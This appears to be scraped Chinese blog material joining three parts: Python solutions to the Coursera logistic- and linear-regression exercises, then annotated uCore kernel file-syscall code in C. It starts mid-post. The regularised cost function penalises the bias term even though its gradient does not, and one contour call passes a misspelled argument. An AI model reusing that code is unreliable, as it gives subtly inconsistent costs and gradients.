import numpy as np
from sigmoid import sigmoid

def cost_Function_Reg(X,Y,theta,lmd):
    # 计算代价和梯度
	m = X.shape[0]
	Z = np.dot(X,theta)
	g = sigmoid(Z) # Sigmoid函数(假设陈述)

	cost = - (Y.T).dot(np.log(g)) - ((1-Y).T).dot(np.log(1-g))
	cost = cost /(m) + lmd * (theta.T).dot(theta) / (2*m)
	grad = (X.T).dot(g-Y.reshape(Y.size))/ m
	grad[0] = grad[0]
	grad[1:] = grad[1:] + (lmd * theta[1:])/m

	return cost,grad

• array.T：二维数组转置
• dot(x , y)：两个数组作矩阵乘积，当两个数组的维度不能直接进行矩阵乘法时，dot会把尝试后面的参数进行转置

这个 sigmoid 就是“假设陈述”：

1
2
3
4
5

import numpy as np

def sigmoid(z):
	g = 1/(1+np.exp(-z)) 
	return g

• exp(z)：求“e的z次方”

整个式子就相当于：（标准的 Sigmoid 函数）

实现主体：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# ====== 2.计算代价和梯度 ======
(m,n) = X.shape
X = np.c_[np.ones(m),X]	# 添加偏置维度
init_theta = np.zeros(X.shape[1]) # 初始化theta值
lmd = 0 # 初始化lambda值(使其为'0',排除正则化的影响)
cost,grad = cf.cost_Function_Reg(X,Y,init_theta,lmd) # 计算代价和梯度
print('Cost at initial theta (zeros): {:0.3f}'.format(cost))
print('Expected cost (approx): 0.693')
print('Gradient at initial theta (zeros): \n{}'.format(grad))
print('Expected gradients (approx): \n-0.1000\n-12.0092\n-11.2628')

# 使用非0的theta测试函数
test_theta = np.array([-24,0.2,0.2]) # 生成的是列向量
cost, grad = cf.cost_Function_Reg(X,Y,test_theta,0)
print('Cost at test theta (zeros): {:0.3f}'.format(cost))
print('Expected cost (approx): 0.218')
print('Gradient at test theta: \n{}'.format(grad))
print('Expected gradients (approx): 0.043, 2.566, 2.647')

Learning parameters using fminunc A（学习使用fminunc）

在上一个作业中，您通过实现梯度下降找到了线性回归模型的最佳参数：你写了一个代价函数，计算了它的梯度，然后相应地进行了梯度下降

这一次，您将使用一个名为 fminunc 的函数，而不是采用梯度下降步骤

• Octave/MATLAB 的 fminunc 是一个优化解算器，可以找到无约束函数的最小值，对于逻辑回归，需要优化成本函数 J(θ)，具体来说，您将使用 fminunc 找到最佳参数 θ 对于逻辑回归成本函数 J(θ)

实现如下：（使用 fminunc 进行拟合）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import scipy.optimize as opt # SciPy的optimize模块提供了常用的最优化算法函数实现

# ======= 3.使用优化函数来优化求解 ========
def cost_func(t):
	return cf.cost_Function_Reg(X,Y,t,0)[0]

def grad_func(t):
	return cf.cost_Function_Reg(X,Y,t,0)[1]

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=init_theta, maxiter=400, full_output=True, disp=False) # fminunc函数
print('Cost at theta found by fmin: {:0.3f}'.format(cost)) # 可以发现:计算出的cost会小很多(优化效果好)
print('Expected cost (approx): 0.203')
print('theta: \n{}'.format(theta))
print('Expected Theta (approx): \n-25.161\n0.206\n0.201')

# 使用计算出的theta来绘制分界线
pdb.plot_Decision_Boundary(X,Y,theta)
plt.xlabel('Exam 1 score')
plt.ylabel('Exam 2 score')
plt.show()

效果如下：

最后看一下 plot_Decision_Boundary 的实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

def plot_Decision_Boundary(X,Y,theta):
	plot_data(X[:,1:3],Y)

	if X.shape[1] <= 3:
		plot_x = np.array([np.min(X[:,1])-2,np.max(X[:,1])+2])
		plot_y = (-1/theta[2]) * (theta[1]*plot_x + theta[0])

		plt.plot(plot_x,plot_y)
		plt.legend(['Decision Boundary', 'Admitted', 'Not admitted']) # legend:创建图例
		plt.axis([30,100,30,100]) # 做x,y轴[30,100]
	else:
		u = np.linspace(-1,1.5,50) # linspace:线性空间中以均匀步长生成数字序列
		v = np.linspace(-1,1.5,50)
		z = np.zeros((u.size,v.size)) # zeros:返回来一个给定形状和类型的,用'0'填充的数组

		for i in range(0,u.size):
			for j in range(0,v.size):
				z[i,j] = np.dot(map_feature(u[i],v[j],6),theta,)

		z = z.T
		cs = plt.contour(u,v,z,level=[0],colors='b',label='Decision Boundary')
		plt.legend([cs.collections[0]], ['Decision Boundary'])
        
def map_feature(x1,x2,power):
	x1 = x1.reshape((x1.size,1)) # reshape:给数组一个新的形状而不改变其数据
	x2 = x2.reshape((x2.size,1))
	result = np.ones(x1[:,0].shape) # ones:返回给定形状和数据类型的新数组

	for i in range(1,power+1):
		for j in range(0,i+1):
			result = np.c_[result,(x1**(i-j))*(x2**j)] # c_[x,y]:按列叠加两个矩阵,把两个矩阵左右组合,要求行数相等

	return result

Evaluating logistic regression（评估逻辑回归）

在学习了这些参数之后，您可以使用该模型来预测某个特定的学生是否会被录取：

• 对于一次考试成绩为45分、二次考试成绩为85分的学生，你应该预计入学概率为0.776

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from sigmoid import sigmoid
from predict import predict

# ====== 4.预测和计算准确率 ======
prob = sigmoid(np.array([1, 45, 85]).T.dot(theta)) # Sigmoid函数(假设陈述)
print('For a student with scores 45 and 85, we predict an admission probability of {:0.4f}'.format(prob))
print('Expected value : 0.775 +/- 0.002')

P = predict(X,theta) # 计算模型的精度(把预测值和真实值进行对比)
print('Train accuracy:{}'.format(np.mean(P == Y)*100)) # mean:求取平均值
print('Expected accuracy (approx): 89.0') # 预期精度:89.0

def predict(X,theta):
	P = sigmoid(X.dot(theta))
	P[P>=0.5] = 1
	P[P<0.5] = 0
	return P

Regularized Logistic Regression（正则逻辑回归）

在本部分练习中，您将实施正则化逻辑回归，以预测制造厂的微芯片是否通过质量保证（QA）

在QA过程中，每个微芯片都要经过各种测试，以确保其功能正常：

• 假设你是工厂的产品经理，你有一些微芯片在两次测试中的测试结果
• 从这两个测试中，您可以确定是否应该接受或拒绝微芯片
• 为了帮助你做出决定，你有一个关于过去微芯片测试结果的数据集，从中你可以建立一个逻辑回归模型

Visualizing the data B（可视化数据）

与本练习的前几部分类似，plotData 用于生成图形：

1
2
3
4
5
6
7
8
9
10
11
12

# ====== 1.读取数据 ======
data = np.loadtxt('data\ex2data2.txt', delimiter=',')
X = data[:, 0:2] # 第一/二列: 第一/二次的测试分数
y = data[:, 2] # 第三列: 是否合格('1'表示合格,'0'表示不合格)

plot_data(X, y) # 图像处理函数(主要是散点的处理)

plt.xlabel('Microchip Test 1')
plt.ylabel('Microchip Test 2')
plt.legend(['y = 1', 'y = 0'])
plt.show()

可以发现：大概是一个二次的模型

• 如果参数θ过少，代价函数就会过大（欠拟合）
• 如果参数θ过多，代价函数足够小了，但是泛化能力下降（过拟合）

所以考虑使用正则来平衡过拟合的影响

Feature mapping（特征映射）

更好地拟合数据的方法是从每个数据点创建更多特征

• 在提供的函数 mapFeature 中：我们将把这些特征映射成x1和x2的所有多项式项，直到六次方

• 作为这种映射的结果，我们的两个特征向量（两次QA测试的分数）已转换为28维向量
• 在这个高维特征向量上训练的逻辑回归分类器将具有更复杂的决策边界，并且在我们的二维图中绘制时将呈现非线性
• 虽然特征映射允许我们构建更具表现力的分类器，但它也更容易过度拟合
• 在本练习的下一部分中，您将实施正则化逻辑回归来拟合数据，并亲自了解正则化如何帮助解决过度拟合问题

Cost function and gradient B（代价函数与梯度）

现在，您将实现用于计算正则逻辑回归的代价函数和梯度的代码：完成 costFunctionReg 中的代码，返回成本和梯度

正则化交叉熵公式：

实现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from costFunction import cost_Function_Reg 

# ====== 2.投影到高维，计算带正则项的代价和梯度 ======
X = mf.map_feature(X[:, 0], X[:, 1],6)
print(X.shape)
initial_theta = np.zeros(X.shape[1]) # 初始化拟合参数θ
lmd = 1 # 将正则化参数lambda设置为1

# 计算并显示正则逻辑回归的初始成本和梯度
cost, grad = cost_Function_Reg (X, y,initial_theta, lmd)

np.set_printoptions(formatter={'float': '{: 0.4f}\n'.format})
print('Cost at initial theta (zeros): {: 0.4f}'.format(cost))
print('Expected cost (approx): 0.693')
print('Gradient at initial theta (zeros) - first five values only: \n{}'.format(grad[0:5]))
print('Expected gradients (approx) - first five values only: \n 0.0085\n 0.0188\n 0.0001\n 0.0503\n 0.0115')

Learning parameters using fminunc B（学习使用fminunc）

这个和上一个板块的区别不大，只要设置 λ 非零就好了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# ====== 3.使用优化函数来优化求解 ======

initial_theta = np.zeros(X.shape[1])
lmd = 1 # 设置λ非零

def cost_func(t):
    return cost_Function_Reg(X, y,t, lmd)[0]

def grad_func(t):
    return cost_Function_Reg(X, y,t, lmd)[1]

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=initial_theta, maxiter=400, full_output=True, disp=False)

print('Plotting decision boundary ...')
pdb.plot_Decision_Boundary( X, y,theta)
plt.title('lambda = {}'.format(lmd))

plt.xlabel('Microchip Test 1')
plt.ylabel('Microchip Test 2')
plt.show()
p = predict.predict( X,theta)

print('Train Accuracy: {:0.4f}'.format(np.mean(y == p) * 100))
print('Expected accuracy (with lambda = 1): 83.1 (approx)')

绘图结果：

Plotting the decision boundary（绘制决策边界）

在本部分中，我们需要绘制出决策边界，您将尝试 lambda 的不同值，查看正则化如何影响决策边界

• 尝试以下 lambda 值（0、5、10、100）
• 观察决策边界图形的不同
• 查看训练集的准确度是否各不相同

实验1，lambda = 0：

• Train Accuracy: 88.1356

实验2，lambda = 5：

• Train Accuracy: 80.5085

实验3，lambda = 10：

• Train Accuracy: 68.6441

实验4，lambda = 100：

• Train Accuracy: 61.0169

实验介绍

在本练习中，您将实现线性回归，并了解它的工作原理

实验文件：

• ex1.m - Octave/MATLAB脚本，帮助您完成练习
• ex1 multi.m - 多个 Octave/MATLAB 脚本，用于练习的后续部分
• ex1data1.txt - txt-单变量线性回归数据集
• ex1data2.txt - txt-多变量线性回归数据集
• submit.m - 将您的解决方案发送到我们的服务器
• [?] warmUpExercise.m - Octave/MATLAB中的简单示例函数
• [?] plotData.m - 用来显示数据集的函数
• [?] computeCost.m - 用来计算线性回归的成本的函数
• [?] gradientDescent.m - 用来运行梯度下降的函数
• [†] computeCostMulti.m - 多变量代价函数
• [†] gradientDescentMulti.m - 多变量梯度下降
• [†] featureNormalize.m - 用于规范化特征的函数
• [†] normalEqn.m - 用于计算正规方程组的函数

在整个练习中，您将使用 ex1.m 和 ex1 multi.m，这些脚本为问题设置数据集，并调用将要编写的函数，您不需要修改它们中的任何一个，您只需按照本任务中的说明修改其他文件中的函数

对于这个编程练习，您只需要完成练习的第一部分，就可以使用一个变量实现线性回归，练习的第二部分是可选的，内容包括使用多变量

PS：由于本人不会使用 Octave，以下实验是在 github 上找的 python 版本

Linear regression with one variable（单变量线性回归）

在本练习的这一部分中，您将使用一个变量实现线性回归，以预测食品卡车的利润：

• 假设你是一家连锁餐厅的首席执行官，正在考虑在不同的城市开设一家新的分店
• 这家连锁店在各个城市都有卡车，你可以从这些城市获得利润和人口数据
• 您希望使用这些数据来帮助您选择下一步要扩展到哪个城市
  • 文件 ex1data1.txt 包含线性回归问题的数据集（第一列是一个城市的人口，第二列是该城市食品卡车的利润，利润为负值表示亏损）
  • 脚本 ex1.m 已经被设置好你需要加载的这些数据

Plotting the Data A（绘制数据）

在开始任何任务之前，通过可视化来理解数据通常是有用的

对于这个数据集，您可以使用散点图来可视化数据，因为它只有两个属性需要绘制 - 利润和人口（你在现实生活中会遇到的许多其他问题都是多维的，无法绘制在二维图上）

• 在 ex1.m 中，数据集从数据文件加载到了变量X和Y中：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import matplotlib.pyplot as plt # as相当于加了一个别称(这个类不用实例化)

# ======== 1.载入数据和绘制散点图 ========
print('读取数据，并绘制散点图...\n')
filepath = r'data\ex1data1.txt'
# 从文件中读取数据,第一列是城市的人口,第二列是该城市食品卡车的利润,中间用','作为分隔符
dataset = np.loadtxt(filepath, delimiter=',', usecols=(0,1)) 
# filepath: 文件路径
# delimiter: 分隔符
# usecols: 选取数据的列编号
Xdata = dataset[:,0] # 获取第一列的数据-城市的人口(因)
Ydata = dataset[:,1] # 获取第二列的数据-卡车的利润(果)
plt.figure(0) # 初始化图表(命名其为"0")
plt.scatter(Xdata,Ydata,c='red',marker='o',s=20) # 设置图表上的断点
plt.xlabel('Population of City in 10,000s',fontsize=10) # 设置x轴上的文字
plt.ylabel('Profit of City in $10,000',fontsize=10) # 设置y轴上的文字
plt.legend(['Data Point']) # 设置左上角的注释
plt.show() # 显示该图表

• loadtxt(filepath , delimiter , usecols)：从文件路径 filepath 中读取第 usecols 列的数据，以 delimiter 为数据之间的间隔

这里使用了 Matplotlib Pyplot 模块（Pyplot 是常用的绘图模块，能很方便让用户绘制 2D 图表）

Gradient Descent（梯度下降）

• 算法原理：

• 代码实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import numpy as np
from computeCost import compute_cost

def gradient_descent(X,Y,theta_init,alpha,iter_num):
    # X: 城市的人口(添加有偏置维度)
    # Y: 卡车的利润
    # theta_init: 参数θ(初始值)
    # alpha: 学习率α
    # iter_num: 迭代次数iter
    m = Y.shape[0] 
    J_history = np.zeros(iter_num) # 用于记录代价的历史值
    theta = theta_init
    for num in range(0,iter_num): 
        J_history[num] = compute_cost(X,Y,theta) # 用代价函数计算代价并记录
        hyp = np.dot(X,np.transpose(theta))
        theta = theta - alpha * np.dot(np.transpose(hyp -Y),X) / m 
    return theta,J_history # 返回"参数θ(已改变)"和"代价的历史值"

• zeros()：返回来一个给定形状和类型的，用“0”填充的数组
• shape()：它的功能是读取矩阵的长度，比如 “shape[0]” 就是读取矩阵第一维度的长度

Mean squared error（代价函数-均方误差）

• 算法原理：

• 代码实现：

1
2
3
4
5
6
7
8
9
10

import numpy as np

def compute_cost(X,Y,theta):
    # X: 城市的人口(添加有偏置维度)
    # Y: 卡车的利润
    # theta: 参数θ(已改变)
	hypthesis = np.dot(X,np.transpose(theta))
	cost = np.dot(np.transpose(hypthesis - Y),(hypthesis -Y))
	cost = cost / (2 * X.shape[0])
	return cost

• dot(x , y)：两个数组作矩阵乘积，当两个数组的维度不能直接进行矩阵乘法时，dot会把尝试后面的参数进行转置
• transpose(x)：把矩阵进行转置

Completion process（具体的拟合过程）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import numpy as np

# ======== 2.计算代价和梯度 ========
print('进行梯度计算...\n')
X = np.c_[np.ones(Xdata.shape[0]),Xdata] # 给输入数据Xdata增加一个偏置维度
Y = Ydata
theta_init = np.zeros(X.shape[1]) # 初始化(θ,参数)
iter_num = 1500 # 初始化(iter,迭代次数)
alpha = 0.01 # 初始化(α,学习率)

print('Initial cost:', str(compute_cost(X,Y,theta_init)), '\nThis value should be 32.07') # 利用代价函数计算初始代价
theta_fin,J_history = gradient_descent(X,Y,theta_init,alpha,iter_num) # 利用梯度下降法进行优化求解,返回记录代价历史值的J_history,和最终θ(theta_fin)
print('Theta found by gradient descent:',str(theta_fin.reshape(2)))

# 绘制数据散点图和线性回归曲线
plt.figure(1)
plt.scatter(Xdata,Ydata,c='red',marker='o',s=20)
plt.plot(X[:,1],np.dot(X,theta_fin),'b-',lw=3)
plt.xlabel('Population of City in 10,000s',fontsize=10)
plt.ylabel('Profit of City in $10,000',fontsize=10)
plt.legend(['Data Point','Linear Regression'])
plt.show()

• ones(shape , dtype=None , order=’C’)：返回给定形状和数据类型的新数组

• c_[ x , y ]：按列叠加两个矩阵，把两个矩阵左右组合，要求行数相等

1
2
3
4
5
6
7
8
9

x_1 = 
 [[1 2 3]
  [4 5 6]]
x_2 = 
 [[3 2 1]
  [8 9 6]]
x_new = 
 [[1 2 3 3 2 1]
  [4 5 6 8 9 6]]

Visualizing J(θ)（可视化代价函数的执行过程）

为了更好地理解代价函数 J（θ），我们将生成 J（θ）的曲面和等高线图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from mpl_toolkits.mplot3d import Axes3D
from matplotlib.colors import LogNorm

# ======== 3.可视化代价J(theta0,theta1) ========
theta0_vals = np.linspace(-10,10,100) # xs的每一行都是theta0_vals的复制
theta1_vals = np.linspace(-1,4,100) # ys的每一列都是theta1_vals的复制
xs,ys = np.meshgrid(theta0_vals,theta1_vals) # 生成网格点坐标矩阵
J_vals = np.zeros(xs.shape)

for i in range(0,theta0_vals.size):
	for j in range(0,theta1_vals.size):
		t = np.array([theta0_vals[i],theta1_vals[j]])
		J_vals[i][j] = compute_cost(X,Y,t)
J_vals = np.transpose(J_vals)

# 绘制3D曲面图
figure = plt.figure(2)
ax = Axes3D(figure) # 把图像指定为3D视图
ax.plot_surface(xs,ys,J_vals,cmap='rainbow') # 指定图形的色彩(彩虹色)
plt.xlabel(r'$\theta_0$')
plt.ylabel(r'$\theta_1$')
plt.show()

# 绘制代价的等高椭圆线
plt.figure(3)
lvls = np.logspace(-2, 3, 20)
plt.contour(xs, ys, J_vals, levels=lvls, norm = LogNorm()) # 设置坐标和值,指定等高线的值,指定色彩
plt.plot(theta_fin[0], theta_fin[1], 'ro',markersize =6) # 设置图像中的那个红点
plt.show()

• linspace(start , stop , num=50 , endpoint=True , retstep=False , dtype=None)：用于在线性空间中以均匀步长生成数字序列
• meshgrid(theta0_vals , theta0_vals)：生成坐标矩阵
• array(A , B , …. )：创建一个数组（参数有几个就是几维）
• logspace(start , stop , num=50 , endpoint=True , base=10.0)：把范围是 “[base的start次方,base的stop次方]” 的数据，在对数尺度上返回间隔均匀的数字（有点看不懂）

1
2
3
4
5
6

>>> np.logspace(2.0, 3.0, num=4)
array([ 100.        ,  215.443469  ,  464.15888336, 1000.        ])
>>> np.logspace(2.0, 3.0, num=4, endpoint=False) # endpoint:停止时是否是最后一个样本
array([100.        ,  177.827941  ,  316.22776602,  562.34132519])
>>> np.logspace(2.0, 3.0, num=4, base=2.0)
array([4.        ,  5.0396842 ,  6.34960421,  8.        ])

结果如下：

Linear regression with multiple variables（多元线性回归）

在这一部分中，您将使用多变量线性回归来预测房价：

• 假设你要卖房子，你想知道一个好的市场价格是多少
• 一种方法是首先收集最近售出房屋的信息，并制作一个房价模型
  • 文件 ex1data2.txt 包含 Portland 房价的培训数据集（第一栏是房子的大小，第二栏是卧室的数量，第三栏是房子的价格）
  • 脚本 ex1_multi.m 已设置脚本以帮助您逐步完成此练习

Feature Normalization（特征规范化）

脚本 ex1_multi.m 首先加载并显示此数据集中的一些值，通过查看这些值，注意到：房屋大小大约是卧室数量的1000倍

当特征相差几个数量级时，首先执行特征缩放可以使梯度下降更快地收敛

Feature Normalization 的原理

• 从数据集中减去每个特征的平均值
• 减去平均值后，再将特征值按各自的“标准偏差”进行缩放（除）

Feature Normalization 代码实现：

1
2
3
4
5
6

def feature_normalize(Xdata):
	X_mean = np.mean(Xdata,axis=0)
	X_std = np.std(Xdata,axis=0)
	X_norm = np.divide(np.subtract(Xdata,X_mean),X_std)

	return X_norm,X_mean,X_std

• mean(A , axis=0)：计算每一维度的均值
• std(A , axis=0)：计算沿指定轴的标准差
• divide(A , B)：数组对应位置元素进行除法
• subtract(A , B)：数组对应位置元素进行减法

Completion process（具体过程）

1
2
3
4
5
6
7
8
9

# ======== 1.读取数据并标准化数据的特征 ========
data = np.loadtxt(r'data\ex1data2.txt',delimiter =',') # 从文件中读取数据,中间用','作为分隔符(第一栏是房子的大小，第二栏是卧室的数量，第三栏是房子的价格)
Xdata = data[:,0:2] # 房子的大小&卧室的数量(因)
Ydata = data[:,2] # 房子的价格(果)
X,mu,sigma = feature_normalize(Xdata) # 对输入数据特征进行标准化
print('Mu is:',mu)
print('Sigma is:',sigma)
X = np.c_[np.ones(X.shape[0]),X] # 给输入数据Xdata增加一个偏置维度
Y = Ydata

Plotting the Data B（绘制数据）

这一部分我们需要绘制反应 “迭代次数和代价函数值关系” 的图形，还是使用梯度下降法求解：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from gradientDescent import gradient_descent as gd

# ======== 2.使用梯度下降法求解 ========
theta_init = np.zeros(X.shape[1])
alpha = 0.05
num_iters = 300

theta,J_history = gd(X,Y,theta_init,alpha,num_iters) # 利用梯度下降法进行优化求解,返回记录代价历史值的J_history,和最终θ(theta)

# 绘制"迭代次数和代价函数值关系"的图形
plt.figure()
plt.plot(np.arange(J_history.size),J_history)
plt.xlabel('Number of iterations')
plt.ylabel('Cost J')
plt.show()
print('Theta computed from gradient descent : \n{}'.format(theta)) # PS:theta是数组格式

梯度下降算法和前面实现的一样，就不多赘述了，下面是“预测”的过程：

1
2
3
4

# ======== 3.预测 ========
Xtest = np.array([1,1650,3])
price = np.dot(Xtest,np.transpose(theta))
print('Predicted price of a 1650 sq-ft, 3 br house (using normal equations) : {:0.3f}'.format(price))

结构如下：

文件系统和文件

文件系统简述：

文件系统是操作系统用于明确 “存储设备或分区上的文件” 的 “一组方法和数据结构”，是操作系统中负责管理和存储文件信息的软件机构（被称为文件管理系统，简称文件系统）

• 注意：文件系统是对应硬盘的分区的，而不是整个硬盘，不管是硬盘只有一个分区，还是几个分区，不同的分区可以有着不同的文件系统

文件系统由三部分组成：

• 文件系统的接口层（用于对文件系统进行操作的一系列函数）
• 文件系统抽象层（“对象操纵和管理” 软件的集合）
• 对象及属性

从系统角度来看，文件系统是对文件存储设备的空间进行组织和分配，负责文件存储并对存入的文件进行保护和检索的系统，具体地说，它负责为用户建立文件，存入、读出、修改、转储文件，控制文件的存取，当用户不再使用时撤销文件等，文件系统是软件系统的一部分，它的存在使得应用可以方便的使用抽象命名的数据对象和大小可变的空间

• 比如桌面上的各种文件：操作系统提供了一种抽象来控制管理这些文件，可以是图形界面，也可以是命令行，这些抽象可以让我们忽略一些底层的原理，免去了大量复杂的操作

文件系统的功能：

• 管理和调度文件的存储空间，提供文件的逻辑结构、物理结构和存储方法
• 实现文件从标识到实际地址的映射，实现文件的控制操作和存取操作，实现文件信息的共享并提供可靠的文件保密和保护措施，提供文件的安全措施

文件系统-访问接口层

下面就是在内核中通用的文件相关函数（上层的文件系统需要的系统调用），同时也是我们在uCore中最常使用的函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

int sysfile_open(const char *path, uint32_t open_flags);    // 打开或创建一个文件
int sysfile_close(int fd);                                  // 关闭一个打开的vnode
int sysfile_read(int fd, void *base, size_t len);               // 读-Read file
int sysfile_write(int fd, void *base, size_t len);              // 写-Write file
int sysfile_seek(int fd, off_t pos, int whence);                // 查找-Seek file
int sysfile_fstat(int fd, struct stat *stat);                   // 统计-Stat file
int sysfile_fsync(int fd);                                      // 同步-Sync file
int sysfile_chdir(const char *path);                      // 改变DIR(页目录表)  
int sysfile_mkdir(const char *path);                      // 创建DIR(页目录表)
int sysfile_link(const char *path1, const char *path2);         // 设置path1的链接设置为path2
int sysfile_rename(const char *path1, const char *path2);       // 重命名文件
int sysfile_unlink(const char *path);                           // 取消path的链接
int sysfile_getcwd(char *buf, size_t len);                      // 获取当前工作目录
int sysfile_getdirentry(int fd, struct dirent *direntp);        // 在DIR中获取文件条目
int sysfile_dup(int fd1, int fd2);                              // 复制文件
int sysfile_pipe(int *fd_store);                                // 建造管道
int sysfile_mkfifo(const char *name, uint32_t open_flags);      // 生成命名管道

• sysfile_open：打开或创建一个文件

1
2
3
4
5
6
7
8
9
10
11

int
sysfile_open(const char *__path, uint32_t open_flags) {
    int ret;
    char *path;
    if ((ret = copy_path(&path, __path)) != 0) {
        return ret;
    }
    ret = file_open(path, open_flags);
    kfree(path);
    return ret;
}

• sysfile_close：关闭一个打开的vnode

1
2
3
4

int
sysfile_close(int fd) {
    return file_close(fd);
}

• sysfile_read：读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

int
sysfile_read(int fd, void *base, size_t len) {
    struct mm_struct *mm = current->mm;
    if (len == 0) {
        return 0;
    }
    if (!file_testfd(fd, 1, 0)) {
        return -E_INVAL;
    }
    void *buffer;
    if ((buffer = kmalloc(IOBUF_SIZE)) == NULL) {
        return -E_NO_MEM;
    }
    int ret = 0;
    size_t copied = 0, alen;
    while (len != 0) {
        if ((alen = IOBUF_SIZE) > len) {
            alen = len;
        }
        ret = file_read(fd, buffer, alen, &alen);
        if (alen != 0) {
            lock_mm(mm);
            {
                if (copy_to_user(mm, base, buffer, alen)) {
                    assert(len >= alen);
                    base += alen, len -= alen, copied += alen;
                }
                else if (ret == 0) {
                    ret = -E_INVAL;
                }
            }
            unlock_mm(mm);
        }
        if (ret != 0 || alen == 0) {
            goto out;
        }
    }
out:
    kfree(buffer);
    if (copied != 0) {
        return copied;
    }
    return ret;
}

• sysfile_write：写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

int
sysfile_write(int fd, void *base, size_t len) {
    struct mm_struct *mm = current->mm;
    if (len == 0) {
        return 0;
    }
    if (!file_testfd(fd, 0, 1)) {
        return -E_INVAL;
    }
    void *buffer;
    if ((buffer = kmalloc(IOBUF_SIZE)) == NULL) {
        return -E_NO_MEM;
    }

    int ret = 0;
    size_t copied = 0, alen;
    while (len != 0) {
        if ((alen = IOBUF_SIZE) > len) {
            alen = len;
        }
        lock_mm(mm);
        {
            if (!copy_from_user(mm, buffer, base, alen, 0)) {
                ret = -E_INVAL;
            }
        }
        unlock_mm(mm);
        if (ret == 0) {
            ret = file_write(fd, buffer, alen, &alen);
            if (alen != 0) {
                assert(len >= alen);
                base += alen, len -= alen, copied += alen;
            }
        }
        if (ret != 0 || alen == 0) {
            goto out;
        }
    }

out:
    kfree(buffer);
    if (copied != 0) {
        return copied;
    }
    return ret;
}

• sysfile_seek：寻找文件

1
2
3
4

int
sysfile_seek(int fd, off_t pos, int whence) {
    return file_seek(fd, pos, whence);
}

• sysfile_fstat：统计文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

int
sysfile_fstat(int fd, struct stat *__stat) {
    struct mm_struct *mm = current->mm;
    int ret;
    struct stat __local_stat, *stat = &__local_stat;
    if ((ret = file_fstat(fd, stat)) != 0) {
        return ret;
    }

    lock_mm(mm);
    {
        if (!copy_to_user(mm, __stat, stat, sizeof(struct stat))) {
            ret = -E_INVAL;
        }
    }
    unlock_mm(mm);
    return ret;
}

• sysfile_fsync：同步文件

1
2
3
4

int
sysfile_fsync(int fd) {
    return file_fsync(fd);
}

• sysfile_chdir：改变DIR(页目录表)

1
2
3
4
5
6
7
8
9
10
11

int
sysfile_chdir(const char *__path) {
    int ret;
    char *path;
    if ((ret = copy_path(&path, __path)) != 0) {
        return ret;
    }
    ret = vfs_chdir(path);
    kfree(path);
    return ret;
}

• sysfile_mkdir：创建DIR(页目录表)，ucore没有该接口，它采用另一种方式实现
• sysfile_link：设置path1的链接设置为path2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

int
sysfile_link(const char *__path1, const char *__path2) {
    int ret;
    char *old_path, *new_path;
    if ((ret = copy_path(&old_path, __path1)) != 0) {
        return ret;
    }
    if ((ret = copy_path(&new_path, __path2)) != 0) {
        kfree(old_path);
        return ret;
    }
    ret = vfs_link(old_path, new_path);
    kfree(old_path), kfree(new_path);
    return ret;
}

• sysfile_rename：重命名文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

int
sysfile_rename(const char *__path1, const char *__path2) {
    int ret;
    char *old_path, *new_path;
    if ((ret = copy_path(&old_path, __path1)) != 0) {
        return ret;
    }
    if ((ret = copy_path(&new_path, __path2)) != 0) {
        kfree(old_path);
        return ret;
    }
    ret = vfs_rename(old_path, new_path);
    kfree(old_path), kfree(new_path);
    return ret;
}

• sysfile_unlink：取消path的链接

1
2
3
4
5
6
7
8
9
10
11

int
sysfile_unlink(const char *__path) {
    int ret;
    char *path;
    if ((ret = copy_path(&path, __path)) != 0) {
        return ret;
    }
    ret = vfs_unlink(path);
    kfree(path);
    return ret;
}

• sysfile_getcwd：获取当前工作目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

int
sysfile_getcwd(char *buf, size_t len) {
    struct mm_struct *mm = current->mm;
    if (len == 0) {
        return -E_INVAL;
    }

    int ret = -E_INVAL;
    lock_mm(mm);
    {
        if (user_mem_check(mm, (uintptr_t)buf, len, 1)) {
            struct iobuf __iob, *iob = iobuf_init(&__iob, buf, len, 0);
            ret = vfs_getcwd(iob);
        }
    }
    unlock_mm(mm);
    return ret;
}

• sysfile_getdirentry：在DIR中获取文件条目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

int
sysfile_getdirentry(int fd, struct dirent *__direntp) {
    struct mm_struct *mm = current->mm;
    struct dirent *direntp;
    if ((direntp = kmalloc(sizeof(struct dirent))) == NULL) {
        return -E_NO_MEM;
    }

    int ret = 0;
    lock_mm(mm);
    {
        if (!copy_from_user(mm, &(direntp->offset), &(__direntp->offset), sizeof(direntp->offset), 1)) {
            ret = -E_INVAL;
        }
    }
    unlock_mm(mm);

    if (ret != 0 || (ret = file_getdirentry(fd, direntp)) != 0) {
        goto out;
    }

    lock_mm(mm);
    {
        if (!copy_to_user(mm, __direntp, direntp, sizeof(struct dirent))) {
            ret = -E_INVAL;
        }
    }
    unlock_mm(mm);

out:
    kfree(direntp);
    return ret;
}

